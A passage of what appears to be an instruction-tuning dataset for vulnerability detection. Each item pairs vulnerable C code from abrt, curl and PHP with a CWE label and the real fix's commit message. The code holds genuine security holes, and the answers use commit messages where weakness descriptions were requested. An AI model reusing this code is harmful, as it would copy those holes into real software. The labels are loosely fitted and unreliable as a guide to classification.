instead of uid, so we don't expose any sensitive\n * information of suided app in /var/tmp/abrt\n */\n dd = dd_create(path, fsuid, DEFAULT_DUMP_DIR_MODE);\n if (dd)\n {\n char *rootdir = get_rootdir(pid);\n\n dd_create_basic_files(dd, fsuid, (rootdir && strcmp(rootdir, \"/\") != 0) ? rootdir : NULL);\n\n char source_filename[sizeof(\"/proc/%lu/somewhat_long_name\") + sizeof(long)*3];\n int source_base_ofs = sprintf(source_filename, \"/proc/%lu/smaps\", (long)pid);\n source_base_ofs -= strlen(\"smaps\");\n char *dest_filename = concat_path_file(dd->dd_dirname, \"also_somewhat_longish_name\");\n char *dest_base = strrchr(dest_filename, '/') + 1;\n\n // Disabled for now: /proc/PID/smaps tends to be BIG,\n // and not much more informative than /proc/PID/maps:\n //copy_file_ext(source_filename, dest_filename, 0640, dd->dd_uid, dd->dd_gid, O_RDONLY, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL);\n\n strcpy(source_filename + source_base_ofs, \"maps\");\n strcpy(dest_base, FILENAME_MAPS);\n copy_file_ext(source_filename, dest_filename, 0640, dd->dd_uid, dd->dd_gid, O_RDONLY, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL);\n\n strcpy(source_filename + source_base_ofs, \"limits\");\n strcpy(dest_base, FILENAME_LIMITS);\n copy_file_ext(source_filename, dest_filename, 0640, dd->dd_uid, dd->dd_gid, O_RDONLY, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL);\n\n strcpy(source_filename + source_base_ofs, \"cgroup\");\n strcpy(dest_base, FILENAME_CGROUP);\n copy_file_ext(source_filename, dest_filename, 0640, dd->dd_uid, dd->dd_gid, O_RDONLY, O_WRONLY | O_CREAT | O_TRUNC | O_EXCL);\n\n strcpy(dest_base, FILENAME_OPEN_FDS);\n dump_fd_info(dest_filename, source_filename, source_base_ofs, dd->dd_uid, dd->dd_gid);\n\n free(dest_filename);\n\n dd_save_text(dd, FILENAME_ANALYZER, \"CCpp\");\n dd_save_text(dd, FILENAME_TYPE, \"CCpp\");\n dd_save_text(dd, FILENAME_EXECUTABLE, executable);\n dd_save_text(dd, FILENAME_PID, pid_str);\n dd_save_text(dd, FILENAME_PROC_PID_STATUS, proc_pid_status);\n if (user_pwd)\n dd_save_text(dd, FILENAME_PWD, user_pwd);\n if (rootdir)\n {\n if (strcmp(rootdir, \"/\") != 0)\n dd_save_text(dd, FILENAME_ROOTDIR, rootdir);\n }\n\n char *reason = xasprintf(\"%s killed by SIG%s\",\n last_slash, signame ? signame : signal_str);\n dd_save_text(dd, FILENAME_REASON, reason);\n free(reason);\n\n char *cmdline = get_cmdline(pid);\n dd_save_text(dd, FILENAME_CMDLINE, cmdline ? : \"\");\n free(cmdline);\n\n char *environ = get_environ(pid);\n dd_save_text(dd, FILENAME_ENVIRON, environ ? : \"\");\n free(environ);\n\n char *fips_enabled = xmalloc_fopen_fgetline_fclose(\"/proc/sys/crypto/fips_enabled\");\n if (fips_enabled)\n {\n if (strcmp(fips_enabled, \"0\") != 0)\n dd_save_text(dd, \"fips_enabled\", fips_enabled);\n free(fips_enabled);\n }\n\n dd_save_text(dd, FILENAME_ABRT_VERSION, VERSION);\n\n if (src_fd_binary > 0)\n {\n strcpy(path + path_len, \"/\"FILENAME_BINARY);\n int dst_fd = create_or_die(path);\n off_t sz = copyfd_eof(src_fd_binary, dst_fd, COPYFD_SPARSE);\n if (fsync(dst_fd) != 0 || close(dst_fd) != 0 || sz < 0)\n {\n dd_delete(dd);\n error_msg_and_die(\"Error saving '%s'\", path);\n }\n close(src_fd_binary);\n }\n\n strcpy(path + path_len, \"/\"FILENAME_COREDUMP);\n int abrt_core_fd = create_or_die(path);\n\n /* We write both coredumps at once.\n * We can't write user coredump first, since it might be truncated\n * and thus can't be copied and used as abrt coredump;\n * and if we write abrt coredump first and then copy it as user one,\n * then we have a race when process exits but coredump does not exist yet:\n * $ echo -e '#include\\nmain(){raise(SIGSEGV);}' | gcc -o test -x c -\n * $ rm -f core*; ulimit -c unlimited; ./test; ls -l core*\n * 21631 Segmentation fault (core dumped) ./test\n * ls: cannot access core*: No such file or directory <=== BAD\n */\n off_t core_size = copyfd_sparse(STDIN_FILENO, abrt_core_fd, user_core_fd, ulimit_c);\n if (fsync(abrt_core_fd) != 0 || close(abrt_core_fd) != 0 || core_size < 0)\n {\n unlink(path);\n dd_delete(dd);\n if (user_core_fd >= 0)\n {\n xchdir(user_pwd);\n unlink(core_basename);\n }\n /* copyfd_sparse logs the error including errno string,\n * but it does not log file name */\n error_msg_and_die(\"Error writing '%s'\", path);\n }\n if (user_core_fd >= 0\n /* error writing user coredump? */\n && (fsync(user_core_fd) != 0 || close(user_core_fd) != 0\n /* user coredump is too big? */\n || (ulimit_c == 0 /* paranoia */ || core_size > ulimit_c)\n )\n ) {\n /* nuke it (silently) */\n xchdir(user_pwd);\n unlink(core_basename);\n }\n\n /* Save JVM crash log if it exists. (JVM's coredump per se\n * is nearly useless for JVM developers)\n */\n {\n char *java_log = xasprintf(\"/tmp/jvm-%lu/hs_error.log\", (long)pid);\n int src_fd = open(java_log, O_RDONLY);\n free(java_log);\n\n /* If we couldn't open the error log in /tmp directory we can try to\n * read the log from the current directory. It may produce AVC, it\n * may produce some error log but all these are expected.\n */\n if (src_fd < 0)\n {\n java_log = xasprintf(\"%s/hs_err_pid%lu.log\", user_pwd, (long)pid);\n src_fd = open(java_log, O_RDONLY);\n free(java_log);\n }\n\n if (src_fd >= 0)\n {\n strcpy(path + path_len, \"/hs_err.log\");\n int dst_fd = create_or_die(path);\n off_t sz = copyfd_eof(src_fd, dst_fd, COPYFD_SPARSE);\n if (close(dst_fd) != 0 || sz < 0)\n {\n dd_delete(dd);\n error_msg_and_die(\"Error saving '%s'\", path);\n }\n close(src_fd);\n }\n }\n\n /* We close dumpdir before we start catering for crash storm case.\n * Otherwise, delete_dump_dir's from other concurrent\n * CCpp's won't be able to delete our dump (their delete_dump_dir\n * will wait for us), and we won't be able to delete their dumps.\n * Classic deadlock.\n */\n dd_close(dd);\n path[path_len] = '\\0'; /* path now contains only directory name */\n char *newpath = xstrndup(path, path_len - (sizeof(\".new\")-1));\n if (rename(path, newpath) == 0)\n strcpy(path, newpath);\n free(newpath);\n\n log(\"Saved core dump of pid %lu (%s) to %s (%llu bytes)\", (long)pid, executable, path, (long long)core_size);\n\n notify_new_path(path);\n\n /* rhbz#539551: \"abrt going crazy when crashing process is respawned\" */\n if (g_settings_nMaxCrashReportsSize > 0)\n {\n /* x1.25 and round up to 64m: go a bit up, so that usual in-daemon trimming\n * kicks in first, and we don't \"fight\" with it:\n */\n unsigned maxsize = g_settings_nMaxCrashReportsSize + g_settings_nMaxCrashReportsSize / 4;\n maxsize |= 63;\n trim_problem_dirs(g_settings_dump_location, maxsize * (double)(1024*1024), path);\n }\n\n free(rootdir);\n return 0;\n }\n\n /* We didn't create abrt dump, but may need to create compat coredump */\n create_user_core:\n if (user_core_fd >= 0)\n {\n off_t core_size = copyfd_size(STDIN_FILENO, user_core_fd, ulimit_c, COPYFD_SPARSE);\n if (fsync(user_core_fd) != 0 || close(user_core_fd) != 0 || core_size < 0)\n {\n /* perror first, otherwise unlink may trash errno */\n perror_msg(\"Error writing '%s'\", full_core_basename);\n xchdir(user_pwd);\n unlink(core_basename);\n return 1;\n }\n if (ulimit_c == 0 || core_size > ulimit_c)\n {\n xchdir(user_pwd);\n unlink(core_basename);\n return 1;\n }\n log(\"Saved core dump of pid %lu to %s (%llu bytes)\", (long)pid, full_core_basename, (long long)core_size);\n }\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'ccpp: stop reading hs_error.log from /tmp\n\nThe file might contain anything and there is no way to verify its\ncontents.\n\nRelated: #1211835\n\nSigned-off-by: Jakub Filak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int open_user_core(uid_t uid, uid_t fsuid, pid_t pid, char **percent_values)\n{\n errno = 0;\n if (user_pwd == NULL\n || chdir(user_pwd) != 0\n ) {\n perror_msg(\"Can't cd to '%s'\", user_pwd);\n return -1;\n }\n\n struct passwd* pw = getpwuid(uid);\n gid_t gid = pw ? pw->pw_gid : uid;\n //log(\"setting uid: %i gid: %i\", uid, gid);\n xsetegid(gid);\n xseteuid(fsuid);\n\n if (strcmp(core_basename, \"core\") == 0)\n {\n /* Mimic \"core.PID\" if requested */\n char buf[] = \"0\\n\";\n int fd = open(\"/proc/sys/kernel/core_uses_pid\", O_RDONLY);\n if (fd >= 0)\n {\n IGNORE_RESULT(read(fd, buf, sizeof(buf)));\n close(fd);\n }\n if (strcmp(buf, \"1\\n\") == 0)\n {\n core_basename = xasprintf(\"%s.%lu\", core_basename, (long)pid);\n }\n }\n else\n {\n /* Expand old core pattern, put expanded name in core_basename */\n core_basename = xstrdup(core_basename);\n unsigned idx = 0;\n while (1)\n {\n char c = core_basename[idx];\n if (!c)\n break;\n idx++;\n if (c != '%')\n continue;\n\n /* We just copied %, look at following char and expand %c */\n c = core_basename[idx];\n unsigned specifier_num = strchrnul(percent_specifiers, c) - percent_specifiers;\n if (percent_specifiers[specifier_num] != '\\0') /* valid %c (might be %% too) */\n {\n const char *val = \"%\";\n if (specifier_num > 0) /* not %% */\n val = percent_values[specifier_num - 1];\n //log(\"c:'%c'\", c);\n //log(\"val:'%s'\", val);\n\n /* Replace %c at core_basename[idx] by its value */\n idx--;\n char *old = core_basename;\n core_basename = xasprintf(\"%.*s%s%s\", idx, core_basename, val, core_basename + idx + 2);\n //log(\"pos:'%*s|'\", idx, \"\");\n //log(\"new:'%s'\", core_basename);\n //log(\"old:'%s'\", old);\n free(old);\n idx += strlen(val);\n }\n /* else: invalid %c, % is already copied verbatim,\n * next loop iteration will copy c */\n }\n }\n\n full_core_basename = core_basename;\n if (core_basename[0] != '/')\n core_basename = concat_path_file(user_pwd, core_basename);\n\n /* Open (create) compat core file.\n * man core:\n * There are various circumstances in which a core dump file\n * is not produced:\n *\n * [skipped obvious ones]\n * The process does not have permission to write the core file.\n * ...if a file with the same name exists and is not writable\n * or is not a regular file (e.g., it is a directory or a symbolic link).\n *\n * A file with the same name already exists, but there is more\n * than one hard link to that file.\n *\n * The file system where the core dump file would be created is full;\n * or has run out of inodes; or is mounted read-only;\n * or the user has reached their quota for the file system.\n *\n * The RLIMIT_CORE or RLIMIT_FSIZE resource limits for the process\n * are set to zero.\n * [we check RLIMIT_CORE, but how can we check RLIMIT_FSIZE?]\n *\n * The binary being executed by the process does not have\n * read permission enabled. [how we can check it here?]\n *\n * The process is executing a set-user-ID (set-group-ID) program\n * that is owned by a user (group) other than the real\n * user (group) ID of the process. [TODO?]\n * (However, see the description of the prctl(2) PR_SET_DUMPABLE operation,\n * and the description of the /proc/sys/fs/suid_dumpable file in proc(5).)\n */\n struct stat sb;\n errno = 0;\n /* Do not O_TRUNC: if later checks fail, we do not want to have file already modified here */\n int user_core_fd = open(core_basename, O_WRONLY | O_CREAT | O_NOFOLLOW, 0600); /* kernel makes 0600 too */\n xsetegid(0);\n xseteuid(0);\n if (user_core_fd < 0\n || fstat(user_core_fd, &sb) != 0\n || !S_ISREG(sb.st_mode)\n || sb.st_nlink != 1\n /* kernel internal dumper checks this too: if (inode->i_uid != current->fsuid) , need to mimic? */\n ) {\n if (user_core_fd < 0)\n perror_msg(\"Can't open '%s'\", full_core_basename);\n else\n perror_msg(\"'%s' is not a regular file with link count 1\", full_core_basename);\n return -1;\n }\n if (ftruncate(user_core_fd, 0) != 0) {\n /* perror first, otherwise unlink may trash errno */\n perror_msg(\"Can't truncate '%s' to size 0\", full_core_basename);\n unlink(core_basename);\n return -1;\n }\n\n return user_core_fd;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'ccpp: do not override existing files by compat cores\n\nImplement all checks used in kernel's do_coredump() and require\nnon-relative path if suid_dumpable is 2.\n\nRelated: #1212818\n\nSigned-off-by: Jakub Filak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static char *handle_new_problem(GVariant *problem_info, uid_t caller_uid, char **error)\n{\n problem_data_t *pd = problem_data_new();\n\n GVariantIter *iter;\n g_variant_get(problem_info, \"a{ss}\", &iter);\n gchar *key, *value;\n while (g_variant_iter_loop(iter, \"{ss}\", &key, &value))\n {\n problem_data_add_text_editable(pd, key, value);\n }\n\n if (caller_uid != 0 || problem_data_get_content_or_NULL(pd, FILENAME_UID) == NULL)\n { /* set uid field to caller's uid if caller is not root or root doesn't pass own uid */\n log_info(\"Adding UID %d to problem data\", caller_uid);\n char buf[sizeof(uid_t) * 3 + 2];\n snprintf(buf, sizeof(buf), \"%d\", caller_uid);\n problem_data_add_text_noteditable(pd, FILENAME_UID, buf);\n }\n\n /* At least it should generate local problem identifier UUID */\n problem_data_add_basics(pd);\n\n char *problem_id = problem_data_save(pd);\n if (problem_id)\n notify_new_path(problem_id);\n else if (error)\n *error = xasprintf(\"Cannot create a new problem\");\n\n problem_data_free(pd);\n return problem_id;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59'], 'message': 'daemon, dbus: allow only root to create CCpp, Koops, vmcore and xorg\n\nFlorian Weimer :\n This prevents users from feeding things that are not actually\n coredumps and excerpts from /proc to these analyzers.\n\n For example, it should not be possible to trigger a rule with\n \u201cEVENT=post-create analyzer=CCpp\u201d using NewProblem\n\nRelated: #1212861\n\nSigned-off-by: Jakub Filak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void fix_hostname(struct SessionHandle *data,\n struct connectdata *conn, struct hostname *host)\n{\n size_t len;\n\n#ifndef USE_LIBIDN\n (void)data;\n (void)conn;\n#elif defined(CURL_DISABLE_VERBOSE_STRINGS)\n (void)conn;\n#endif\n\n /* set the name we use to display the host name */\n host->dispname = host->name;\n\n len = strlen(host->name);\n if(host->name[len-1] == '.')\n /* strip off a single trailing dot if present, primarily for SNI but\n there's no use for it */\n host->name[len-1]=0;\n\n if(!is_ASCII_name(host->name)) {\n#ifdef USE_LIBIDN\n /*************************************************************\n * Check name for non-ASCII and convert hostname to ACE form.\n *************************************************************/\n if(stringprep_check_version(LIBIDN_REQUIRED_VERSION)) {\n char *ace_hostname = NULL;\n int rc = idna_to_ascii_lz(host->name, &ace_hostname, 0);\n infof (data, \"Input domain encoded as `%s'\\n\",\n stringprep_locale_charset ());\n if(rc != IDNA_SUCCESS)\n infof(data, \"Failed to convert %s to ACE; %s\\n\",\n host->name, Curl_idn_strerror(conn, rc));\n else {\n /* tld_check_name() displays a warning if the host name contains\n \"illegal\" characters for this TLD */\n (void)tld_check_name(data, ace_hostname);\n\n host->encalloc = ace_hostname;\n /* change the name pointer to point to the encoded hostname */\n host->name = host->encalloc;\n }\n }\n#elif defined(USE_WIN32_IDN)\n /*************************************************************\n * Check name for non-ASCII and convert hostname to ACE form.\n *************************************************************/\n char *ace_hostname = NULL;\n int rc = curl_win32_idn_to_ascii(host->name, &ace_hostname);\n if(rc == 0)\n infof(data, \"Failed to convert %s to ACE;\\n\",\n host->name);\n else {\n host->encalloc = ace_hostname;\n /* change the name pointer to point to the encoded hostname */\n host->name = host->encalloc;\n }\n#else\n infof(data, \"IDN support not present, can't parse Unicode domains\\n\");\n#endif\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'fix_hostname: zero length host name caused -1 index offset\n\nIf a URL is given with a zero-length host name, like in \"http://:80\" or\njust \":80\", `fix_hostname()` will index the host name pointer with a -1\noffset (as it blindly assumes a non-zero length) and both read and\nassign that address.\n\nCVE-2015-3144\n\nBug: http://curl.haxx.se/docs/adv_20150422D.html\nReported-by: Hanno B\u00f6ck'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void _php_image_create_from(INTERNAL_FUNCTION_PARAMETERS, int image_type, char *tn, gdImagePtr (*func_p)(), gdImagePtr (*ioctx_func_p)())\n{\n\tchar *file;\n\tint file_len;\n\tlong srcx, srcy, width, height;\n\tgdImagePtr im = NULL;\n\tphp_stream *stream;\n\tFILE * fp = NULL;\n\tlong ignore_warning;\n\n\tif (image_type == PHP_GDIMG_TYPE_GD2PART) {\n\t\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"sllll\", &file, &file_len, &srcx, &srcy, &width, &height) == FAILURE) {\n\t\t\treturn;\n\t\t}\n\t\tif (width < 1 || height < 1) {\n\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Zero width or height not allowed\");\n\t\t\tRETURN_FALSE;\n\t\t}\n\t} else {\n\t\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s\", &file, &file_len) == FAILURE) {\n\t\t\treturn;\n\t\t}\n\t}\n\n\n\tstream = php_stream_open_wrapper(file, \"rb\", REPORT_ERRORS|IGNORE_PATH|IGNORE_URL_WIN, NULL);\n\tif (stream == NULL)\t{\n\t\tRETURN_FALSE;\n\t}\n\n\t/* try and avoid allocating a FILE* if the stream is not naturally a FILE* */\n\tif (php_stream_is(stream, PHP_STREAM_IS_STDIO))\t{\n\t\tif (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO, (void**)&fp, REPORT_ERRORS)) {\n\t\t\tgoto out_err;\n\t\t}\n\t} else if (ioctx_func_p) {\n\t\t/* we can create an io context */\n\t\tgdIOCtx* io_ctx;\n\t\tsize_t buff_size;\n\t\tchar *buff;\n\n\t\t/* needs to be malloc (persistent) - GD will free() it later */\n\t\tbuff_size = php_stream_copy_to_mem(stream, &buff, PHP_STREAM_COPY_ALL, 1);\n\n\t\tif (!buff_size) {\n\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING,\"Cannot read image data\");\n\t\t\tgoto out_err;\n\t\t}\n\n\t\tio_ctx = gdNewDynamicCtxEx(buff_size, buff, 0);\n\t\tif (!io_ctx) {\n\t\t\tpefree(buff, 1);\n\t\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING,\"Cannot allocate GD IO context\");\n\t\t\tgoto out_err;\n\t\t}\n\n\t\tif (image_type == PHP_GDIMG_TYPE_GD2PART) {\n\t\t\tim = (*ioctx_func_p)(io_ctx, srcx, srcy, width, height);\n\t\t} else {\n\t\t\tim = (*ioctx_func_p)(io_ctx);\n\t\t}\n\t\tio_ctx->gd_free(io_ctx);\n\t\tpefree(buff, 1);\n\t}\n\telse if (php_stream_can_cast(stream, PHP_STREAM_AS_STDIO)) {\n\t\t/* try and force the stream to be FILE* */\n\t\tif (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_STDIO | PHP_STREAM_CAST_TRY_HARD, (void **) &fp, REPORT_ERRORS)) {\n\t\t\tgoto out_err;\n\t\t}\n\t}\n\n\tif (!im && fp) {\n\t\tswitch (image_type) {\n\t\t\tcase PHP_GDIMG_TYPE_GD2PART:\n\t\t\t\tim = (*func_p)(fp, srcx, srcy, width, height);\n\t\t\t\tbreak;\n#if defined(HAVE_GD_XPM)\n\t\t\tcase PHP_GDIMG_TYPE_XPM:\n\t\t\t\tim = gdImageCreateFromXpm(file);\n\t\t\t\tbreak;\n#endif\n\n#ifdef HAVE_GD_JPG\n\t\t\tcase PHP_GDIMG_TYPE_JPG:\n\t\t\t\tignore_warning = INI_INT(\"gd.jpeg_ignore_warning\");\n\t\t\t\tim = gdImageCreateFromJpegEx(fp, ignore_warning);\n\t\t\tbreak;\n#endif\n\n\t\t\tdefault:\n\t\t\t\tim = (*func_p)(fp);\n\t\t\t\tbreak;\n\t\t}\n\n\t\tfflush(fp);\n\t}\n\n/* register_im: */\n\tif (im) {\n\t\tZEND_REGISTER_RESOURCE(return_value, im, le_gd);\n\t\tphp_stream_close(stream);\n\t\treturn;\n\t}\n\n\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"'%s' is not a valid %s file\", file, tn);\nout_err:\n\tphp_stream_close(stream);\n\tRETURN_FALSE;\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fixed bug #69353 (Missing null byte checks for paths in various PHP extensions)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void handle_method_call(GDBusConnection *connection,\n const gchar *caller,\n const gchar *object_path,\n const gchar *interface_name,\n const gchar *method_name,\n GVariant *parameters,\n GDBusMethodInvocation *invocation,\n gpointer user_data)\n{\n reset_timeout();\n\n uid_t caller_uid;\n GVariant *response;\n\n caller_uid = get_caller_uid(connection, invocation, caller);\n\n log_notice(\"caller_uid:%ld method:'%s'\", (long)caller_uid, method_name);\n\n if (caller_uid == (uid_t) -1)\n return;\n\n if (g_strcmp0(method_name, \"NewProblem\") == 0)\n {\n char *error = NULL;\n char *problem_id = handle_new_problem(g_variant_get_child_value(parameters, 0), caller_uid, &error);\n if (!problem_id)\n {\n g_dbus_method_invocation_return_dbus_error(invocation,\n \"org.freedesktop.problems.Failure\",\n error);\n free(error);\n return;\n }\n /* else */\n response = g_variant_new(\"(s)\", problem_id);\n g_dbus_method_invocation_return_value(invocation, response);\n free(problem_id);\n\n return;\n }\n\n if (g_strcmp0(method_name, \"GetProblems\") == 0)\n {\n GList *dirs = get_problem_dirs_for_uid(caller_uid, g_settings_dump_location);\n response = variant_from_string_list(dirs);\n list_free_with_free(dirs);\n\n g_dbus_method_invocation_return_value(invocation, response);\n //I was told that g_dbus_method frees the response\n //g_variant_unref(response);\n return;\n }\n\n if (g_strcmp0(method_name, \"GetAllProblems\") == 0)\n {\n /*\n - so, we have UID,\n - if it's 0, then we don't have to check anything and just return all directories\n - if uid != 0 then we want to ask for authorization\n */\n if (caller_uid != 0)\n {\n if (polkit_check_authorization_dname(caller, \"org.freedesktop.problems.getall\") == PolkitYes)\n caller_uid = 0;\n }\n\n GList * dirs = get_problem_dirs_for_uid(caller_uid, g_settings_dump_location);\n response = variant_from_string_list(dirs);\n\n list_free_with_free(dirs);\n\n g_dbus_method_invocation_return_value(invocation, response);\n return;\n }\n\n if (g_strcmp0(method_name, \"GetForeignProblems\") == 0)\n {\n GList * dirs = get_problem_dirs_not_accessible_by_uid(caller_uid, g_settings_dump_location);\n response = variant_from_string_list(dirs);\n list_free_with_free(dirs);\n\n g_dbus_method_invocation_return_value(invocation, response);\n return;\n }\n\n if (g_strcmp0(method_name, \"ChownProblemDir\") == 0)\n {\n const gchar *problem_dir;\n g_variant_get(parameters, \"(&s)\", &problem_dir);\n log_notice(\"problem_dir:'%s'\", problem_dir);\n\n if (!allowed_problem_dir(problem_dir))\n {\n return_InvalidProblemDir_error(invocation, problem_dir);\n return;\n }\n\n int dir_fd = dd_openfd(problem_dir);\n if (dir_fd < 0)\n {\n perror_msg(\"can't open problem directory '%s'\", problem_dir);\n return_InvalidProblemDir_error(invocation, problem_dir);\n return;\n }\n\n int ddstat = fdump_dir_stat_for_uid(dir_fd, caller_uid);\n if (ddstat < 0)\n {\n if (errno == ENOTDIR)\n {\n log_notice(\"requested directory does not exist '%s'\", problem_dir);\n }\n else\n {\n perror_msg(\"can't get stat of '%s'\", problem_dir);\n }\n\n return_InvalidProblemDir_error(invocation, problem_dir);\n\n close(dir_fd);\n return;\n }\n\n if (ddstat & DD_STAT_OWNED_BY_UID)\n { //caller seems to be in group with access to this dir, so no action needed\n log_notice(\"caller has access to the requested directory %s\", problem_dir);\n g_dbus_method_invocation_return_value(invocation, NULL);\n close(dir_fd);\n return;\n }\n\n if ((ddstat & DD_STAT_ACCESSIBLE_BY_UID) == 0 &&\n polkit_check_authorization_dname(caller, \"org.freedesktop.problems.getall\") != PolkitYes)\n {\n log_notice(\"not authorized\");\n g_dbus_method_invocation_return_dbus_error(invocation,\n \"org.freedesktop.problems.AuthFailure\",\n _(\"Not Authorized\"));\n close(dir_fd);\n return;\n }\n\n struct dump_dir *dd = dd_fdopendir(dir_fd, problem_dir, DD_OPEN_READONLY | DD_FAIL_QUIETLY_EACCES);\n if (!dd)\n {\n return_InvalidProblemDir_error(invocation, problem_dir);\n return;\n }\n\n int chown_res = dd_chown(dd, caller_uid);\n if (chown_res != 0)\n g_dbus_method_invocation_return_dbus_error(invocation,\n \"org.freedesktop.problems.ChownError\",\n _(\"Chowning directory failed. Check system logs for more details.\"));\n else\n g_dbus_method_invocation_return_value(invocation, NULL);\n\n dd_close(dd);\n return;\n }\n\n if (g_strcmp0(method_name, \"GetInfo\") == 0)\n {\n /* Parameter tuple is (sas) */\n\n\t/* Get 1st param - problem dir name */\n const gchar *problem_dir;\n g_variant_get_child(parameters, 0, \"&s\", &problem_dir);\n log_notice(\"problem_dir:'%s'\", problem_dir);\n\n if (!allowed_problem_dir(problem_dir))\n {\n return_InvalidProblemDir_error(invocation, problem_dir);\n return;\n }\n\n int dir_fd = dd_openfd(problem_dir);\n if (dir_fd < 0)\n {\n perror_msg(\"can't open problem directory '%s'\", problem_dir);\n return_InvalidProblemDir_error(invocation, problem_dir);\n return;\n }\n\n if (!fdump_dir_accessible_by_uid(dir_fd, caller_uid))\n {\n if (errno == ENOTDIR)\n {\n log_notice(\"Requested directory does not exist '%s'\", problem_dir);\n return_InvalidProblemDir_error(invocation, problem_dir);\n close(dir_fd);\n return;\n }\n\n if (polkit_check_authorization_dname(caller, \"org.freedesktop.problems.getall\") != PolkitYes)\n {\n log_notice(\"not authorized\");\n g_dbus_method_invocation_return_dbus_error(invocation,\n \"org.freedesktop.problems.AuthFailure\",\n _(\"Not Authorized\"));\n close(dir_fd);\n return;\n }\n }\n\n struct dump_dir *dd = dd_fdopendir(dir_fd, problem_dir, DD_OPEN_READONLY | DD_FAIL_QUIETLY_EACCES);\n if (!dd)\n {\n return_InvalidProblemDir_error(invocation, problem_dir);\n return;\n }\n\n\t/* Get 2nd param - vector of element names */\n GVariant *array = g_variant_get_child_value(parameters, 1);\n GList *elements = string_list_from_variant(array);\n g_variant_unref(array);\n\n GVariantBuilder *builder = NULL;\n for (GList *l = elements; l; l = l->next)\n {\n const char *element_name = (const char*)l->data;\n char *value = dd_load_text_ext(dd, element_name, 0\n | DD_LOAD_TEXT_RETURN_NULL_ON_FAILURE\n | DD_FAIL_QUIETLY_ENOENT\n | DD_FAIL_QUIETLY_EACCES);\n log_notice(\"element '%s' %s\", element_name, value ? \"fetched\" : \"not found\");\n if (value)\n {\n if (!builder)\n builder = g_variant_builder_new(G_VARIANT_TYPE_ARRAY);\n\n /* g_variant_builder_add makes a copy. No need to xstrdup here */\n g_variant_builder_add(builder, \"{ss}\", element_name, value);\n free(value);\n }\n }\n list_free_with_free(elements);\n dd_close(dd);\n /* It is OK to call g_variant_new(\"(a{ss})\", NULL) because */\n /* G_VARIANT_TYPE_TUPLE allows NULL value */\n GVariant *response = g_variant_new(\"(a{ss})\", builder);\n\n if (builder)\n g_variant_builder_unref(builder);\n\n log_info(\"GetInfo: returning value for '%s'\", problem_dir);\n g_dbus_method_invocation_return_value(invocation, response);\n return;\n }\n\n if (g_strcmp0(method_name, \"SetElement\") == 0)\n {\n const char *problem_id;\n const char *element;\n const char *value;\n\n g_variant_get(parameters, \"(&s&s&s)\", &problem_id, &element, &value);\n\n if (element == NULL || element[0] == '\\0' || strlen(element) > 64)\n {\n log_notice(\"'%s' is not a valid element name of '%s'\", element, problem_id);\n char *error = xasprintf(_(\"'%s' is not a valid element name\"), element);\n g_dbus_method_invocation_return_dbus_error(invocation,\n \"org.freedesktop.problems.InvalidElement\",\n error);\n\n free(error);\n return;\n }\n\n struct dump_dir *dd = open_directory_for_modification_of_element(\n invocation, caller_uid, problem_id, element);\n if (!dd)\n /* Already logged from open_directory_for_modification_of_element() */\n return;\n\n /* Is it good idea to make it static? Is it possible to change the max size while a single run? */\n const double max_dir_size = g_settings_nMaxCrashReportsSize * (1024 * 1024);\n const long item_size = dd_get_item_size(dd, element);\n if (item_size < 0)\n {\n log_notice(\"Can't get size of '%s/%s'\", problem_id, element);\n char *error = xasprintf(_(\"Can't get size of '%s'\"), element);\n g_dbus_method_invocation_return_dbus_error(invocation,\n \"org.freedesktop.problems.Failure\",\n error);\n return;\n }\n\n const double requested_size = (double)strlen(value) - item_size;\n /* Don't want to check the size limit in case of reducing of size */\n if (requested_size > 0\n && requested_size > (max_dir_size - get_dirsize(g_settings_dump_location)))\n {\n log_notice(\"No problem space left in '%s' (requested Bytes %f)\", problem_id, requested_size);\n g_dbus_method_invocation_return_dbus_error(invocation,\n \"org.freedesktop.problems.Failure\",\n _(\"No problem space left\"));\n }\n else\n {\n dd_save_text(dd, element, value);\n g_dbus_method_invocation_return_value(invocation, NULL);\n }\n\n dd_close(dd);\n\n return;\n }\n\n if (g_strcmp0(method_name, \"DeleteElement\") == 0)\n {\n const char *problem_id;\n const char *element;\n\n g_variant_get(parameters, \"(&s&s)\", &problem_id, &element);\n\n struct dump_dir *dd = open_directory_for_modification_of_element(\n invocation, caller_uid, problem_id, element);\n if (!dd)\n 